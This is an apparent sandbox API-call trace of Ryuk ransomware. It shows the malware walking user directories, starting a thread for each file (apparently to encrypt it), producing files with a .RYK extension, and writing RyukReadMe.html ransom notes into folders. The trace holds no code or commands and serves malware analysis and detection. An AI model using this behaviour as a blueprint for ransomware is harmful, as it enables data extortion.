	[0252.367] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4eb285d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0252.368] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0252.368] SetLastError (dwErrCode=0x0) 
	[0252.368] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0252.368] GetLastError () returned 0xb7
	[0252.368] CloseHandle (hObject=0x814) returned 1
	[0252.369] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d217160, ftCreationTime.dwHighDateTime=0x1d5c0a4, ftLastAccessTime.dwLowDateTime=0x9a42e9d0, ftLastAccessTime.dwHighDateTime=0x1d5b83d, ftLastWriteTime.dwLowDateTime=0x4eee0830, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa852, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="HM2Ftlx uiQ.png.RYK", cAlternateFileName="HM2FTL~1.RYK")) returned 1
	[0252.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0252.371] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.372] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e2f5b60, ftCreationTime.dwHighDateTime=0x1d5c2ee, ftLastAccessTime.dwLowDateTime=0xf2fab6e0, ftLastAccessTime.dwHighDateTime=0x1d5c088, ftLastWriteTime.dwLowDateTime=0x4ef2caf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="J_-R87.mkv.RYK", cAlternateFileName="J_-R87~1.RYK")) returned 1
	[0252.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0252.374] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.375] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81051d90, ftCreationTime.dwHighDateTime=0x1d5b715, ftLastAccessTime.dwLowDateTime=0x29745260, ftLastAccessTime.dwHighDateTime=0x1d5c5d6, ftLastWriteTime.dwLowDateTime=0x4ef52c50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x40e2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Ki2c.avi.RYK", cAlternateFileName="KI2CAV~1.RYK")) returned 1
	[0252.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0252.378] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.379] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1d36120, ftCreationTime.dwHighDateTime=0x1d5beca, ftLastAccessTime.dwLowDateTime=0x76314170, ftLastAccessTime.dwHighDateTime=0x1d5bfab, ftLastWriteTime.dwLowDateTime=0x4f18e0f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x15c2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="l1ORf0q2ulaDN.bmp.RYK", cAlternateFileName="L1ORF0~1.RYK")) returned 1
	[0252.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0252.381] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.382] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab564300, ftCreationTime.dwHighDateTime=0x1d5bbf0, ftLastAccessTime.dwLowDateTime=0xee258640, ftLastAccessTime.dwHighDateTime=0x1d5c3f8, ftLastWriteTime.dwLowDateTime=0x4f1b4250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4272, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="lQxu.png.RYK", cAlternateFileName="LQXUPN~1.RYK")) returned 1
	[0252.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0252.384] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.385] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d515640, ftCreationTime.dwHighDateTime=0x1d5c238, ftLastAccessTime.dwLowDateTime=0x60496ca0, ftLastAccessTime.dwHighDateTime=0x1d5c165, ftLastWriteTime.dwLowDateTime=0x4f1da3b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xf42, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="LY6Qu.xls.RYK", cAlternateFileName="LY6QUX~1.RYK")) returned 1
	[0252.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0252.387] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.388] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cdd380, ftCreationTime.dwHighDateTime=0x1d5be16, ftLastAccessTime.dwLowDateTime=0x3dc95e10, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x4f200510, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x6402, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="MJMk8.m4a.RYK", cAlternateFileName="MJMK8M~1.RYK")) returned 1
	[0252.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0252.390] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.391] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dd8a8c0, ftCreationTime.dwHighDateTime=0x1d5bcfb, ftLastAccessTime.dwLowDateTime=0x8a9a45a0, ftLastAccessTime.dwHighDateTime=0x1d5c51c, ftLastWriteTime.dwLowDateTime=0x8a9a45a0, ftLastWriteTime.dwHighDateTime=0x1d5c51c, nFileSizeHigh=0x0, nFileSizeLow=0xd8cc, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="P1dmCR7ieckSgIIeC9O9.pptx", cAlternateFileName="P1DMCR~1.PPT")) returned 1
	[0252.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0252.394] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.395] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94e32a60, ftCreationTime.dwHighDateTime=0x1d5c169, ftLastAccessTime.dwLowDateTime=0x376ee9b0, ftLastAccessTime.dwHighDateTime=0x1d5c532, ftLastWriteTime.dwLowDateTime=0x4f226670, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x16572, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="qGOJS5U056zz.m4a.RYK", cAlternateFileName="QGOJS5~1.RYK")) returned 1
	[0252.395] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0252.397] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.398] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f68b270, ftCreationTime.dwHighDateTime=0x1d5ba9b, ftLastAccessTime.dwLowDateTime=0x1a90ef70, ftLastAccessTime.dwHighDateTime=0x1d5b7d9, ftLastWriteTime.dwLowDateTime=0x4f24c7d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x179a2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="qSjd7SgYFb_k4OKYS.mp3", cAlternateFileName="QSJD7S~1.MP3")) returned 1
	[0252.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0252.400] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.401] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4fe2d0, ftCreationTime.dwHighDateTime=0x1d5bf18, ftLastAccessTime.dwLowDateTime=0xf6e93450, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0x4f272930, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xf092, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="QwBhM.odt.RYK", cAlternateFileName="QWBHMO~1.RYK")) returned 1
	[0252.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0252.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0256.616] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.618] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7c5000, ftCreationTime.dwHighDateTime=0x1d5bed1, ftLastAccessTime.dwLowDateTime=0x986d0b30, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x4f298a90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x175f2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RfdjvaFkFgE9qEv7bT.avi", cAlternateFileName="RFDJVA~1.AVI")) returned 1
	[0256.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0256.621] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.621] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d09680, ftCreationTime.dwHighDateTime=0x1d5bbfc, ftLastAccessTime.dwLowDateTime=0xe3815c70, ftLastAccessTime.dwHighDateTime=0x1d5bcc6, ftLastWriteTime.dwLowDateTime=0x4f2bebf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4392, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="rraEpi1SleocmER-.wav", cAlternateFileName="RRAEPI~1.WAV")) returned 1
	[0256.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0256.624] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.625] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5ab750, ftCreationTime.dwHighDateTime=0x1d5b9d0, ftLastAccessTime.dwLowDateTime=0xa911ee20, ftLastAccessTime.dwHighDateTime=0x1d5c11b, ftLastWriteTime.dwLowDateTime=0x4f7cdab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x13c02, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Ry6fZp6K Kz.wav.RYK", cAlternateFileName="RY6FZP~1.RYK")) returned 1
	[0256.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0256.628] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.629] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7337b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0256.629] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5b1910, ftCreationTime.dwHighDateTime=0x1d5b7e0, ftLastAccessTime.dwLowDateTime=0x492dbc50, ftLastAccessTime.dwHighDateTime=0x1d5bfa9, ftLastWriteTime.dwLowDateTime=0x4f8b22f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17c12, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="ss2b.mp4.RYK", cAlternateFileName="SS2BMP~1.RYK")) returned 1
	[0256.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0256.631] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.632] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7c4fa0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0xd8b68e0, ftLastAccessTime.dwHighDateTime=0x1d5bb22, ftLastWriteTime.dwLowDateTime=0x50851350, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12da2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="TaYG.png.RYK", cAlternateFileName="TAYGPN~1.RYK")) returned 1
	[0256.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0256.635] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.636] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0256.636] SetLastError (dwErrCode=0x0) 
	[0256.636] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0256.637] GetLastError () returned 0xb7
	[0256.637] CloseHandle (hObject=0x874) returned 1
	[0256.637] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0256.639] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.639] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0256.639] SetLastError (dwErrCode=0x0) 
	[0256.639] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880
	[0256.640] GetLastError () returned 0x0
	[0256.640] WriteFile (in: hFile=0x880, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0256.643] CloseHandle (hObject=0x880) returned 1
	[0256.644] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0256.644] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.645] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1
	[0256.645] SetLastError (dwErrCode=0x0) 
	[0256.645] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.645] GetLastError () returned 0x3
	[0256.645] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0256.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.645] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.645] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.645] SetLastError (dwErrCode=0x0) 
